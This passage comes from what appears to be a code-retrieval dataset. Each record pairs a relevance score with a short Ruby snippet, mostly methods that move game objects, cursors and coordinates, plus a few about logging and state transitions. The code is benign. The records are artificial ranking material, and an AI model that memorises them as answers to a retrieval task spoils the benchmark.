0)\n #moves the shapes\n @blocks.each { |block| block.move(x: x, y: y) }\n end", "title": "" }, { "docid": "c544c6eaf31d7c850748e60b0362dced", "score": "0.5692205", "text": "def next_move\n @point.add(next_point)\n end", "title": "" }, { "docid": "e1c40f60ae9d817906a93819d7e9adee", "score": "0.5684676", "text": "def move\n [select_pos, select_pos]\n end", "title": "" }, { "docid": "d36a6fa1b22f92ae1104ca9f0fc21c2e", "score": "0.566393", "text": "def move\n dir = Point.new(0, 0)\n\n if args.inputs.keyboard.key_down.up\n dir.y = 1\n elsif args.inputs.keyboard.key_down.down\n dir.y = -1\n elsif args.inputs.keyboard.key_down.left\n dir.x = -1\n elsif args.inputs.keyboard.key_down.right\n dir.x = 1\n end\n\n unless dir.x == 0 && dir.y == 0\n args.state.dispatch.({\n type: :move,\n payload: {\n entity_id: id,\n cx: cx + dir.x,\n cy: cy + dir.y,\n }\n })\n end\n end", "title": "" }, { "docid": "a6f825445a3cdcebc642047bdd68c80a", "score": "0.56616503", "text": "def item_position(index, for_image = false, img_width = 0)\n \tcase index\n \twhen 0\n \t\tcx = (for_image && img_width > 155) ? First_Item_Position[0] - img_width / 16 : First_Item_Position[0]\n cy = First_Item_Position[1]\n \twhen 1\n cx = Second_Item_Position[0]\n cy = Second_Item_Position[1]\n \telse\n cx = First_Item_Position[0] + 145 * (index - 1)\n cx = First_Item_Position[0] + (145 - img_width / 8) * (index - 1) if for_image && img_width > 155\n cy = First_Item_Position[1] + 15 * (index - 1)\n \tend\n [cx, cy]\n end", "title": "" }, { "docid": "82cce6c5f7bd021fef56a42273b74e46", "score": "0.5640508", "text": "def move_element(dx, dy)\n position = get_position(0)\n element_index = get_index(position[:x] + dx, position[:y] + dy)\n\n if element_index >= 0 && can_move?(position[:x], position[:y], dx, dy)\n zero_index = get_index(position[:x], position[:y])\n @blocks[zero_index], @blocks[element_index] = @blocks[element_index], @blocks[zero_index]\n end\n end", "title": "" }, { "docid": "3c81291d41aa183cdc0c5a24a081307a", "score": "0.5631425", "text": "def special_move_action(boxlist, px, py, dx, dy)\n\t\tcd = connect_dist ** 2\n\t\tif (@x1 - px) ** 2 + (@y1 - py) ** 2 < cd\n\t\t\t@x1 += dx\n\t\t\t@y1 += dy\n\t\telsif (@x2 - px) ** 2 + (@y2 - py) ** 2 < cd\n\t\t\t@x2 += dx\n\t\t\t@y2 += dy\n\t\telse\n\t\t\treturn false\n\t\tend\n\t\tif @x1 == @x2 && @y1 == @y2\n\t\t\t@state = State::Deleted\n\t\t\tboxlist << @bbox\n\t\telse\n\t\t\th = @bbox.dup\n\t\t\t@bbox.reset(x1, y1, x2, y2).grow(@box_width)\n\t\t\tset_box\n\t\t\tboxlist << h.join(@bbox)\n\t\tend\n\t\ttrue\n\tend", "title": "" }, { "docid": "b7bdcf6649fd449334e2afc60d9cfcd7", "score": "0.5601988", "text": "def move_ item\n move item\n end", "title": "" }, { "docid": "ebfaaec77d6616bc06d8f0f11b8ee241", "score": "0.5590453", "text": "def move__ item\n move -item\n end", "title": "" }, { "docid": "60e1a98cb7d772311b9f103ee94bdd45", "score": "0.5547079", "text": "def move_by_point(pt)\n self.x += pt.x\n self.y += pt.y\n\n self\n end", "title": "" }, { "docid": "6f6c1c0da41aec09a6303cc6dbad56e5", "score": "0.55276847", "text": "def execute_move(change_in_x, change_in_y)\n\t\t@x += change_in_x\n\t\t@y += change_in_y\n\tend", "title": "" }, { "docid": "dec0d06aab95678e7430e6288f3e228e", "score": "0.5503217", "text": "def move\n coordinates = travel(@direction, @x_position, @y_position, 1)\n if coordinates\n @x_position = coordinates[:x_position]\n @y_position = coordinates[:y_position]\n end\n end", "title": "" }, { "docid": "3b7dcf528e4f95cf86f71b543f696545", "score": "0.54837036", "text": "def move!\n @point.add!(next_point)\n self\n end", "title": "" }, { "docid": "07a5deef8c19694f0c65360181b0482e", "score": "0.5483596", "text": "def set_inventory_position args, item\n item.x = args.state.inventory_border.x + item[:ordinal_x] * 80\n item.y = (args.state.inventory_border.y + args.state.inventory_border.h - 80) - item[:ordinal_y] * 80\n item.w = 80\n item.h = 80\nend", "title": "" }, { "docid": "a2a06fb60d949eee59b6dcf6034e41e2", "score": "0.54814935", "text": "def move_cursor move\n\t\tcoords = move_coords move\n\t\t\n\t\tclear_cursor #cursor will be moving; get rid of the old one\n\t\t\n\t\told_cursor = @cursor.clone #for later reference\n\t\t\n\t\t@cursor.merge!(coords) {|key, v1, v2| v1 + v2} #move cursor\n\t\t\n\t\tkeys = [:x, :y]\n\t\tkeys.each_with_index do |key, i|\n\t\t\tunless ['n', 's'].include? move\n\t\t\t\tif @cursor[key] == -1\n\t\t\t\t\t@cursor[key] = @size - 1\n\t\t\t\telsif @cursor[key] == @size\n\t\t\t\t\t@cursor[key] = 0\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif [@size, -1].include? @cursor[key]\n\t\t\t\t\tother_key = keys[(i+1)%2]\n\t\t\t\t\t@cursor[key] = old_cursor[other_key]\n\t\t\t\t\t@cursor[other_key] = old_cursor[key]\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t@xcur = @cursor[:x]\n\t\t@ycur = @cursor[:y]\n\t\tdraw_cursor\n\tend", "title": "" }, { "docid": "9764f8215822b0b87ff462380a44058f", "score": "0.54800093", "text": "def adjust_positions\n adjust_x\n adjust_y\n end", "title": "" }, { "docid": "25b3590f59440aa639dc09517156aea7", "score": "0.54627764", "text": "def move_origin\n @attributes = attributes.merge!(x: bx, y: by, ox: 0, oy: 0)\n\n Vedeu::Cursors::Cursor.new(@attributes).store\n end", "title": "" }, { "docid": "96edb0a9844639f8ed38c9dcc2f41804", "score": "0.5444799", "text": "def move(mouse_pos)\n @tail_cards.keys.each_with_index do |card, i|\n card.pos = mouse_pos + @offset + [0, i*19]\n end\n end", "title": "" }, { "docid": "af89f1a5161470b87a58dee9fdf0d563", "score": "0.5414527", "text": "def move_to(x, y)\n @x1 += x - @x0\n @y1 += y - @y0\n @x0 = x\n @y0 = y\n end", "title": "" }, { "docid": "9cd4d225455806dcb1435cfa26fa21de", "score": "0.5411613", "text": "def set_position id, x, y\n\t\t\tnode = CxlHelper.builder.anything.with(\"x\", \"y\").with_values(\"id\" => id).apply(@xml)[0]\n\t\t\tnode[\"x\"] = x\n\t\t\tnode[\"y\"] = y\n\t\tend", "title": "" }, { "docid": "f999825ee5637994ca52f4eb314bc0d5", "score": "0.5406242", "text": "def move(x, y)\n @x += x\n @y += y\n end", "title": "" }, { "docid": "02d049fd52e9e3df7f4d9cdc0a7e3286", "score": "0.539047", "text": "def move\n return unless placed?\n\n next_x = MOVE_DELTAS[@facing.to_sym][:x] + x\n next_y = MOVE_DELTAS[@facing.to_sym][:y] + y\n return unless @table.valid?(next_x, next_y)\n\n @x = next_x\n @y = next_y\n end", "title": "" }, { "docid": "54a706008b33826b8dd866c863f81a9c", "score": "0.53899145", "text": "def move(relative_y, relative_x)\n @y += relative_y\n @x += relative_x\n\n Offsets.update(attributes)\n end", "title": "" }, { "docid": "cc4af243cd2fe282334bf1a15df07634", "score": "0.5387976", "text": "def move_difs\n x,y = self.pos[0], pos[1]\n top_side, bottom_side = x-1, x+1\n left_side, right_side = y-1, y+1\n moves = []\n moves.push([top_side, left_side], [top_side, y], [top_side, right_side])\n moves.push([x, left_side], [x, right_side])\n moves.push([bottom_side, left_side],[bottom_side, y], [bottom_side, right_side])\n moves\n end", "title": "" }, { "docid": "c58919042625e4f0097752262fbc6a2f", "score": "0.5385462", "text": "def move\n\t\t\t@y -= 10\n\t\t\t@bullet.move @x, @y\n\t\tend", "title": "" }, { "docid": "0f187e15b32e2c37cdb15b9494a6ac64", "score": "0.5385239", "text": "def move\n @things.move\n @sprites.move\n end", "title": "" }, { "docid": "c58919042625e4f0097752262fbc6a2f", "score": "0.5385217", "text": "def move\n\t\t\t@y -= 10\n\t\t\t@bullet.move @x, @y\n\t\tend", "title": "" }, { "docid": "b2f1844272ba2d09f4f7a891872ccdf0", "score": "0.537757", "text": "def moveTo(x, y)\n add_d(\"m#{x},#{y}\")\n end", "title": "" }, { "docid": "416a0abcdf8ca81d83c194b5bf6b8035", "score": "0.536744", "text": "def move_to (x, y)\n @xcoordinate = x\n @ycoordinate = y\n end", "title": "" }, { "docid": "8f8d8c1789d5327ef057092a8ef6b951", "score": "0.5359396", "text": "def move_to(x, y)\n @canvas << js_method('moveTo', x, y)\n end", "title": "" }, { "docid": "e7028514f2fc239d360b8b24e00b43eb", "score": "0.5352064", "text": "def move\n self.x = @next_position.x\n self.y = @next_position.y\n self.z = @next_position.z\n end", "title": "" }, { "docid": "455e1f763e04c5e587bafca438d32c67", "score": "0.5334356", "text": "def draw_item(dx, dy, param_id)\n # see the stuffs above\n end", "title": "" }, { "docid": "837289f4b18f98ddb91ece205af49ecd", "score": "0.532948", "text": "def move_difs\n x,y = self.pos[0], self.pos[1]\n moves = []\n moves.push([x-2, y-1], [x-2,y+1])\n moves.push([x+2, y-1], [x+2, y+1])\n moves.push([x-1, y-2], [x-1, y+2])\n moves.push([x+1, y-2], [x+1, y+2])\n moves\n end", "title": "" }, { "docid": "48c4704cd78d0089e9eb9067a588a188", "score": "0.5325524", "text": "def move\n next_move = Navigator.new(position_x, position_y, direction).get_move_coordinates\n @position_x = next_move[:x]\n @position_y = next_move[:y]\n end", "title": "" }, { "docid": "0e926e90ec0dd587f9c70a4aab7a44c1", "score": "0.5318553", "text": "def move\n\t@objects.each do |go|\n\t\tgo.move\n\t\t\n\t\t@objects.delete(go) if go.kind_of? PTorpedo and (go.xCenter > @xMax or go.yCenter > @yMax)\n\tend\n\t\n\t# check for collisions between objects and act accordingly\n\tcollisions if not @ship.destroyed\n end", "title": "" }, { "docid": "1907cec7abb26e1247b73dc28fdf3a18", "score": "0.5308559", "text": "def moveToPosition(i)\n cursor.moveToPosition(i)\n end", "title": "" }, { "docid": "f23fd97284e3506fdc29c5609bbfe6cc", "score": "0.53069955", "text": "def move(offset_x, offset_y)\n # Your code goes here...\n end", "title": "" }, { "docid": "15206427ea18552da8209f78d2102018", "score": "0.53062457", "text": "def move(x, y)\n orig_pos_x = @pos_x\n orig_pos_y = @pos_y\n\n self.pos_x = x\n self.pos_y = y\n\n [@pos_x - orig_pos_x, @pos_y - orig_pos_y]\n end", "title": "" }, { "docid": "7bde2739c3f0ecbcf5d05684c734ae75", "score": "0.5302828", "text": "def move\n\t\tcase @d\n\t\twhen 'N'\n\t\t\t@y += 1 if @y < @max_y && isEmpty(@x, @y + 1)\n\t\twhen 'E'\n\t\t\t@x += 1 if @x < @max_x && isEmpty(@x + 1, @y)\n\t\twhen 'S'\n\t\t\t@y -= 1 if @y >= 0 && isEmpty(@x, @y - 1)\n\t\twhen 'W'\n\t\t\t@x -= 1 if @x >= 0 && isEmpty(@x - 1, @y)\n\t\tend\n\tend", "title": "" }, { "docid": "2757107e0a829ca0f1a3b035f2616e07", "score": "0.5300774", "text": "def moveTo( x, y )\r\n @currentX = x\r\n @currentY = y\r\n end", "title": "" }, { "docid": "5f2cd57b8ac5f1b3bd06962426fa3b77", "score": "0.5300247", "text": "def move(delta_x, delta_y)\n @x += delta_x\n @y += delta_y\n @stack.each { |sprite| sprite.set_position(sprite.x + delta_x, sprite.y + delta_y) }\n return self\n end", "title": "" }, { "docid": "77e89073c1adc8460ed19074597b7834", "score": "0.52891165", "text": "def move_coords(distance)\n t.each { |v| @coords[v][0] += distance }\n end", "title": "" }, { "docid": "cd55a4ed6cc17e2736b461ebc6170d31", "score": "0.52862537", "text": "def move\n @x_position += 1 if east_move_allowed?\n @x_position -= 1 if west_move_allowed?\n @y_position += 1 if north_move_allowed?\n @y_position -= 1 if south_move_allowed?\n end", "title": "" }, { "docid": "e607f8cfb8545f006c4ba7d2b98bb41f", "score": "0.52802426", "text": "def move( x_inc, y_inc )\n modified {\n\n bar_prev = nil\n bars = @owner.get_bars\n\n if bars.length >= 1 && bars[ bars.length - 1 ] == self then\n @owner.get_eport.move( x_inc, y_inc )\n return # last bar\n end\n\n bars.each{ |bar|\n if bar.equal? self then\n break\n end\n bar_prev = bar\n }\n\n if bar_prev # prev_bar is nil if self is 1st bar\n # p \"bar_prev exist\"\n if bar_prev.instance_of? HBar\n xm = bar_prev.get_position + x_inc\n bar_prev.set_position( get_model.clip_x xm )\n else\n ym = bar_prev.get_position + y_inc\n bar_prev.set_position( get_model.clip_y ym )\n end\n else\n # 1st bar\n @owner.get_cport.move( x_inc, y_inc )\n end\n }\n end", "title": "" }, { "docid": "761bdfe8b410fc46fd64b0c5a5b510c8", "score": "0.52744997", "text": "def move\r\n return if not @selected_obj\r\n @state = STATE_MOVING\r\n @obj = @selected_obj\r\n @offset = @obj.center_offset\r\n find_end_points\r\n vec = @end_pt - @start_pt\r\n vec.length = vec.length/2\r\n @pt_to_move = @start_pt + vec\r\n @start_input_point = Sketchup::InputPoint.new(@pt_to_move)\r\nend", "title": "" }, { "docid": "c8cbd8f42e80191d22f3890515503be5", "score": "0.52744627", "text": "def moveBlob(instance, x, y)\r\n\t\t@coordinates.each do |coordinate|\r\n\t\t\tif x == coordinate.getX and y == coordinate.getY\r\n\t\t\t\tcoordinate.setOccupied(instance)\r\n\t\t\tend\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "1092a2b543bda97cd0c2d7e46deafe22", "score": "0.5266363", "text": "def translate(x, y)\n self.x1 += x\n self.y1 += y\n self.x2 += x \n self.y2 += y\n self.x3 += x \n self.y3 += y \n end", "title": "" }, { "docid": "1092a2b543bda97cd0c2d7e46deafe22", "score": "0.5266314", "text": "def translate(x, y)\n self.x1 += x\n self.y1 += y\n self.x2 += x \n self.y2 += y\n self.x3 += x \n self.y3 += y \n end", "title": "" }, { "docid": "0dec8a3260c9d13778b6f65979d57b16", "score": "0.5266096", "text": "def move\n return unless toy_exist?\n move_to_next_spot\n set_movement\n end", "title": "" }, { "docid": "dbdb38eaa4b4fb4a8e9864774b60cf1b", "score": "0.5263581", "text": "def drag_cards\n dx = inputs.mouse.x - stable_state.mouse_down_pos[:x]\n dy = inputs.mouse.y - stable_state.mouse_down_pos[:y]\n stable_state.held_cards.each do |held_card|\n pos = held_card.calculate_snap_position\n held_card.set_pos({x: pos[:x] + dx, y: pos[:y] + dy})\n end\n end", "title": "" }, { "docid": "3a89db1870be2593d1cddf4fdd8b112c", "score": "0.52540386", "text": "def move_to *args\n previous_position = get_position.dup\n super\n return unless (@solids_manager)\n @solids_manager.reset_object self, get_solid_tags if (@position != previous_position)\n end", "title": "" }, { "docid": "914a6922009ee32faae0c1dd4386dcd4", "score": "0.52390563", "text": "def move\n return unless placed\n cardinal = cardinals[facing]\n if valid?(x, cardinal[:x]) && valid?(y, cardinal[:y])\n @x = x + cardinal[:x]\n @y = y + cardinal[:y]\n end\n end", "title": "" }, { "docid": "c95bffceebde938b1c059c9089768b2e", "score": "0.52371913", "text": "def movement_by_axis(new_x, new_y)\n [(new_x - x_coord), (new_y - y_coord)]\n end", "title": "" }, { "docid": "7d7098fa2036887344d83ff71423d22f", "score": "0.5235587", "text": "def move_to(x, y)\n @x = x\n @y = y\n end", "title": "" }, { "docid": "7d7098fa2036887344d83ff71423d22f", "score": "0.5235587", "text": "def move_to(x, y)\n @x = x\n @y = y\n end", "title": "" }, { "docid": "f5792f78a1b71e7af0f3927d255b2fcf", "score": "0.52335274", "text": "def move\n @position.each_key do |axis|\n @position[axis] += @velocity[axis]\n end\n end", "title": "" }, { "docid": "87dd9b84ff9f99d8d8b9ecca914b8d88", "score": "0.5233158", "text": "def move(left, top)\n relative_left = offset(self.left, left)\n relative_top = offset(self.top, top)\n @components.each do |c|\n c_left = c.left\n c_top = c.top\n c.move(c_left + relative_left, c_top + relative_top)\n end\n @left, @top, @right, @bottom = left, top, nil, nil\n end", "title": "" }, { "docid": "d8e779a77fc5ae14c8f9ff856f6faf81", "score": "0.52304566", "text": "def move(vector, distance)\n @x += vector[0] * distance\n @y += vector[1] * distance\n end", "title": "" }, { "docid": "c4c1efa22b9796bbcf87c236c15a9607", "score": "0.5227327", "text": "def move(x,y)\n @x += x\n @x = @last_x if self.parent.viewport.outside_game_area?(self) || self.first_collision(Obstruction)\n\n @y += y\n @y = @last_y if self.parent.viewport.outside_game_area?(self) || self.first_collision(Obstruction)\n end", "title": "" }, { "docid": "25a1f5ad6e16bcf66504aa5bf6379c61", "score": "0.5221692", "text": "def move_to(x, y)\r\n @x = x\r\n @y = y\r\n end", "title": "" }, { "docid": "61dbd5e1c59c6167daba7828a6947cce", "score": "0.52172834", "text": "def move\n @xCenter += @xDelta\n @yCenter += @yDelta\n end", "title": "" }, { "docid": "14ab19f0fbbe6dadb81181765019aec5", "score": "0.52152264", "text": "def move(x, y)\n self.x += x\n each_collision(*PLATAFORMAS) do |gilbert, superficie|\n if gilbert.x >= superficie.bb.right && gilbert.y != superficie.bb.top\n self.x = previous_x\n elsif gilbert.x <= superficie.bb.left && gilbert.y != superficie.bb.top\n self.x = previous_x\n end\n end\n self.y += y\n end", "title": "" }, { "docid": "c75a829aade51fba71bc08aa8501d967", "score": "0.5212993", "text": "def move_item_up\n if @active_item > 0\n pitem = @items[@active_item - 1]\n @items[@active_item - 1] = @items[@active_item]\n @items[@active_item] = pitem\n @active_item = @active_item - 1\n draw_items\n end\n end", "title": "" }, { "docid": "dfae0ee8d01d2f39b44e97ccc78e44a0", "score": "0.5211712", "text": "def move\n move_factor = MOVES[@d]\n if coordinate_valid?(temp_x = @x + move_factor[0], temp_y = @y + move_factor[1])\n @x = temp_x\n @y = temp_y\n end\n end", "title": "" }, { "docid": "5072161ee57f88a543a6c4670a6c4e49", "score": "0.5201657", "text": "def move(vpoint)\n if @template.identifier != Constants::SCENE_TOY_IDENTIFIER\n @position += vpoint\n end\n end", "title": "" }, { "docid": "0a38a48adaff4ee27632ab1a619590dc", "score": "0.5200309", "text": "def move_to!(x, y)\n append_path_data \"M\", x, y\n end", "title": "" }, { "docid": "49ba6b4c674ea6025eb49b7ade8ea5c5", "score": "0.5198232", "text": "def wrap_objects\r\n moving_objects.each do |item|\r\n item.vector.x %= @width\r\n item.vector.y %= @height\r\n end\r\n end", "title": "" }, { "docid": "6a8323a353ab861ac3c6d8190062ba58", "score": "0.5194349", "text": "def set_craft_position args, item\n item.x = args.state.craft_border.x + item[:ordinal_x] * 80\n item.y = (args.state.craft_border.y + args.state.inventory_border.h - 80) - item[:ordinal_y] * 80\n item.w = 80\n item.h = 80\nend", "title": "" }, { "docid": "b0dff94057910472497edca880bae642", "score": "0.5191569", "text": "def item_area_handler location, area, item_already_there\n if inputs.mouse.button_left\n # if there currently isn't an item there, then put the held item in the slot\n if !item_already_there\n move_all_items location, area #move all items\n #if an item is there of a different type\n elsif item_already_there[:id] != state.held_item[:id]\n swap_items item_already_there #swap item locations\n # if there is already an item there, and the item types/id match\n else\n merge_items item_already_there #merge them \n end \n elsif inputs.mouse.button_right \n #if there is not item there and there's more than one left \n #only drop one count of the item at a time\n if !item_already_there && state.held_item[:quantity] > 1 \n move_first_item location, area #move the first item \n #if the item clicked is the same id as held \n elsif item_already_there && state.held_item[:id] == item_already_there[:id] \n move_one_item item_already_there #move one item count at a time\n #if there is not item there and there is only one count left of the held item\n elsif !item_already_there\n move_all_items location, area #move all the items\n end \n end\n end", "title": "" }, { "docid": "e098fa912a1623cf51565de408c7a6cc", "score": "0.5189045", "text": "def move ((x,y), dir)\n case dir\n when \"ne\"\n [x + 1, y]\n when \"sw\"\n [x - 1, y]\n when \"e\"\n [x, y + 1]\n when \"w\"\n [x, y - 1]\n when \"se\"\n [x - 1, y + 1]\n when \"nw\"\n [x + 1, y - 1]\n end\nend", "title": "" }, { "docid": "1750aa7258df91085971dd65c1f69a6c", "score": "0.51884025", "text": "def move_origin\n @x = bx\n @y = by\n @ox = 0\n @oy = 0\n\n store\n end", "title": "" }, { "docid": "c0e89b47b835eadd9d922eb318032950", "score": "0.51882285", "text": "def move(x,y)\n @offset_x, @offset_y = [offset_x + x, offset_y + y]\n \n wrap!\n end", "title": "" }, { "docid": "cda57c1e69cae00482989ea88c1459f0", "score": "0.5184645", "text": "def move\n @row += DIRECTIONS[@direction][:row]\n prepend_height unless @row.positive?\n append_height if @row >= @area_size[0] - 1\n\n @col += DIRECTIONS[@direction][:col]\n prepend_width unless @col.positive?\n append_width if @col >= @area_size[1] - 1\n end", "title": "" }, { "docid": "eb99bc6f51fb2a5e3ec501b7ea8b85b6", "score": "0.517877", "text": "def set_interact_position item\n item.x = state.interact_border.x+120 + item[:ordinal_x] * state.sprite_size\n item.y = (state.interact_border.y + state.inventory_border.h - state.sprite_size) - item[:ordinal_y] * state.sprite_size\n item.w = state.sprite_size\n item.h = state.sprite_size\n end", "title": "" }, { "docid": "ffdbcc44d47ea4bcbf54e0f909e00744", "score": "0.516771", "text": "def move_to_next_spot\n face = @toy.face\n point_x = @point.x\n point_y = @point.y\n\n case face\n when \"north\"\n point_y += 1\n when \"south\"\n point_y -= 1\n when \"east\"\n point_x += 1\n else\n point_x -= 1\n end\n\n return unless valid_position?(point_x, point_y)\n\n @point.x = point_x\n @point.y = point_y\n end", "title": "" }, { "docid": "53089c82f0f600a21ffa9adfc5554513", "score": "0.5163655", "text": "def move_to(x, y)\n @path.moveToPoint(point(x, y))\n end", "title": "" }, { "docid": "a3fd794e3fc106fb4dd4dd225424d26a", "score": "0.5161605", "text": "def move (x, y, map)\n new_x = @x + x\n new_y = @y + y\n\n @old_x = @x\n @old_y = @y\n\n @x = new_x\n @y = new_y\n\n update(map)\n end", "title": "" }, { "docid": "538eb888a77f16f53c8cecb7ce8ab3e6", "score": "0.51602006", "text": "def update_pos( dt )\n old_x = @px\n old_y = @py\n\n px = @px + (@vx * dt)\n py = @py + (@vy * dt)\n\n if py - (rect.h/2) > 0 and\n py < parent.h - (rect.h/2) and\n px - (rect.w/2) > 0 and\n px < parent.w - (rect.w/2)\n then\n \n @px += @vx * dt\n @py += @vy * dt\n\n rect.center = [@px, @py]\n end\n\n obstructions = Tanks.runner.objects.select do |obj|\n obj.is_a?(Obstruction) && obj.rect.inflate(-1,-1).collide_rect?(rect)\n end\n\n unless obstructions.empty?\n @px, @py = old_x, old_y\n rect.center = [@px, @py]\n end\n\n end", "title": "" }, { "docid": "305b6a77f4347caf01d161406eca340f", "score": "0.51517934", "text": "def move(dx, dy)\n # new x and y\n nx = @x + dx\n ny = @y + dy\n\n if @grid[ny][nx].nil?\n # remove from old spot\n @grid[@y][@x] = nil\n\n # move to new spot\n @x = nx\n @y = ny\n @grid[@y][@x] = self\n else\n collision(nx, ny)\n end\n end", "title": "" }, { "docid": "7f199f751c95ce8235f7ba7de07f0e17", "score": "0.5150804", "text": "def move()\n\n # if north or south\n # add or subtract from the y coordinate\n # if east or west\n # add or subtract from the x coordinate\n case @direction\n when NORTH\n @y = @y.to_i + 1\n when SOUTH\n @y = @y.to_i - 1\n when EAST\n @x= @x.to_i + 1\n when WEST\n @x= @x.to_i - 1\n end\n\n # test - remove\n # puts \"move #{@x} #{@y}\"\n\n end", "title": "" }, { "docid": "5337352acd478998c3fe1f946d9fa71e", "score": "0.5150396", "text": "def move_position(array, moneda)\n case moneda.class.to_s\n when 'Moneda'\n @moneda_b.x = array[0]\n @moneda_b.y = array[1]\n when 'MonedaPlata'\n @moneda_p.x = array[0]\n @moneda_p.y = array[1]\n when 'MonedaOro'\n @moneda_o.x = array[0]\n @moneda_o.y = array[1]\n end\n end", "title": "" }, { "docid": "071e35c25fba549bf36032d3356a3b63", "score": "0.514743", "text": "def onMouseMove(flags, x, y, view)\r\n ph = view.pick_helper\r\n found = ph.do_pick(x,y)\r\n picked = ph.best_picked\r\n\r\n if (picked != nil)\r\n # do not add edges/faces to selection\r\n if (!picked.kind_of? Sketchup::Edge and !picked.kind_of? Sketchup::Face and @group_already != 1)\r\n Sketchup.active_model.selection.add(picked) if (picked != @entities)\r\n @entities = picked\r\n @group_already = 1\r\n end\r\n if (@entities != picked)\r\n Sketchup.active_model.selection.clear\r\n @group_already = 0\r\n end\r\n else\r\n Sketchup.active_model.selection.clear\r\n @entities = nil\r\n @group_already = 0\r\n end\r\n end", "title": "" }, { "docid": "0b7a23bae2da450ff0f3003d4b1b9d81", "score": "0.5146586", "text": "def correct_position\n @layers.each do |i|\n i.ox = @ox\n i.oy = @oy\n end \n end", "title": "" }, { "docid": "defdc835b47b314c4e02de4cd60310b7", "score": "0.5140785", "text": "def special_move_action(boxlist, px, py, dx, dy)\n\t\th = Math::hypot(px - @x, py - @y)\n\t\treturn false if (@radius - h).abs > connect_dist\n\t\tputs 'special_move_action'\n\t\tx = px + dx\n\t\ty = py + dy\n\t\tgrid = pda.schem.active_grid\n\t\tx = x.fdiv(grid).round * grid\n\t\ty = y.fdiv(grid).round * grid\n\t\th = Math::hypot(x - @x, y - @y)\n\t\tif h != @radius\n\t\t\tif h == 0\n\t\t\t\t@state = State::Deleted\n\t\t\t\tboxlist << @bbox\n\t\t\telse\n\t\t\t\tboxlist << @bbox \n\t\t\t\t@box_needs_fix = true\n\t\t\t\t@nil_draw = true\n\t\t\t\t@radius = h\n\t\t\tend\n\t\tend\n\t\ttrue\n\tend", "title": "" }, { "docid": "96438d922f2544cd635dc10be3c23958", "score": "0.5138309", "text": "def ul; move(@x-1, @y-1) end", "title": "" }, { "docid": "2daca569e9b775f77c99137dcc3d1d8e", "score": "0.5137972", "text": "def translate(delx, dely, delz)\n\n @active_set.each do |atom|\n atom.xpos = atom.xpos + delx\n atom.ypos = atom.ypos + dely\n atom.zpos = atom.zpos + delz\n end\n end", "title": "" } ]
e65f6442d4201cfbdf153744d7f40996
Decide whether to log transitions
[ { "docid": "fdc9b1f062ed1b6553b4bd65b11ff030", "score": "0.7055338", "text": "def log_transitions(value)\n self.log_transitions = value\n end", "title": "" } ]
[ { "docid": "eba5b40cc4cc20d4d8f75c4a2ae05290", "score": "0.6534422", "text": "def log?\n @log ||= false\n end", "title": "" }, { "docid": "f73db857eb02e7a407fc56152ed49931", "score": "0.6500237", "text": "def recently_walked?(transition); end", "title": "" }, { "docid": "6ac50e3a1a368787a88fa95887389d39", "score": "0.64530796", "text": "def log?\n @log != false\n end", "title": "" }, { "docid": "6ac50e3a1a368787a88fa95887389d39", "score": "0.64530796", "text": "def log?\n @log != false\n end", "title": "" }, { "docid": "6ac50e3a1a368787a88fa95887389d39", "score": "0.64530796", "text": "def log?\n @log != false\n end", "title": "" }, { "docid": "4cc49899ef4c0609b612fc575a982356", "score": "0.64129883", "text": "def log_traffic?\n @log_traffic\n end", "title": "" }, { "docid": "371a93034c8cbd0fecc78ef55d308666", "score": "0.6395179", "text": "def log\r\n false\r\n end", "title": "" }, { "docid": "7e2b0f0b49c74aa81a42a7e8a001e985", "score": "0.6293255", "text": "def should_log?\n return false if @skip_logging\n true\n end", "title": "" }, { "docid": "efa32a5b45d982fb4968a07936cf2582", "score": "0.6109784", "text": "def can_walk_to?(transition); end", "title": "" }, { "docid": "d6b8d0b7c666a5dc4c116afc1f5b3c68", "score": "0.60399586", "text": "def log?\n\t\t\t@glogging\n\t\tend", "title": "" }, { "docid": "b85243facd1ee69102e85c5bec813d47", "score": "0.60206324", "text": "def log_timings?\n @log_timings\n end", "title": "" }, { "docid": "b85243facd1ee69102e85c5bec813d47", "score": "0.60206324", "text": "def log_timings?\n @log_timings\n end", "title": "" }, { "docid": "1e1f4d04804f6ebc7a4c503768159c84", "score": "0.5991266", "text": "def log_state\n super\n end", "title": "" }, { "docid": "08656a58fb7a56a3e9439ba1dff3cf07", "score": "0.595594", "text": "def log?\n log != nil\n end", "title": "" }, { "docid": "08656a58fb7a56a3e9439ba1dff3cf07", "score": "0.595594", "text": "def log?\n log != nil\n end", "title": "" }, { "docid": "dec75a4712c6be7ed1643c908cb84263", "score": "0.59136665", "text": "def call_transition_method(*args)\n unless [:logger, :command_listener].include?(agent_type)\n log do |msg|\n msg.add_record(agent_type, \"action\", \"transit\")\n msg.add_record(agent_type, \"state\", args.first)\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n end\n super\n end", "title": "" }, { "docid": "b0f59b6d036c37456f7d88ae025db569", "score": "0.58905464", "text": "def logging=(value)\n @logging = value ? true : false\n end", "title": "" }, { "docid": "f921671aa419836a9c2e4f72c3500488", "score": "0.5810614", "text": "def is_transitioning?\n @is_transitioning\n end", "title": "" }, { "docid": "bf7b0e24bb4154e7ba1628037aa1aa2e", "score": "0.5786899", "text": "def transition?\n current.transition?\n end", "title": "" }, { "docid": "cebed11db0e15c04d4c12b7308d75f62", "score": "0.56321293", "text": "def process_log(record)\n record = record.merge(transition: \"complete\") unless record.transition\n write(TupleSpace::ProcessLogTuple.new(record))\n end", "title": "" }, { "docid": "bcf3be0fce1ad226c07a5e5d34b4a589", "score": "0.55822855", "text": "def log_state\n #debug \"log_state: next controller is #{session[:next_controller]}, next action is #{session[:next_action]}\"\n end", "title": "" }, { "docid": "afead620de94f20661b57e076b479160", "score": "0.55710024", "text": "def should_record_history?\n historiographer_changes? && !@no_history\n end", "title": "" }, { "docid": "6250f31eb54abd3482eab9c2d805b9ed", "score": "0.55604964", "text": "def transition_at; end", "title": "" }, { "docid": "6250f31eb54abd3482eab9c2d805b9ed", "score": "0.55604964", "text": "def transition_at; end", "title": "" }, { "docid": "0d0d9e3e0d0ea5ded0f1b227eaade289", "score": "0.55523926", "text": "def logged?; false end", "title": "" }, { "docid": "0d0d9e3e0d0ea5ded0f1b227eaade289", "score": "0.55523926", "text": "def logged?; false end", "title": "" }, { "docid": "6ef451ddccba55455bac46f94053e66f", "score": "0.5539045", "text": "def do_enable(transition)\n Rails.logger.info \"Transitioning #{login} from #{transition.from} to #{transition.to} via 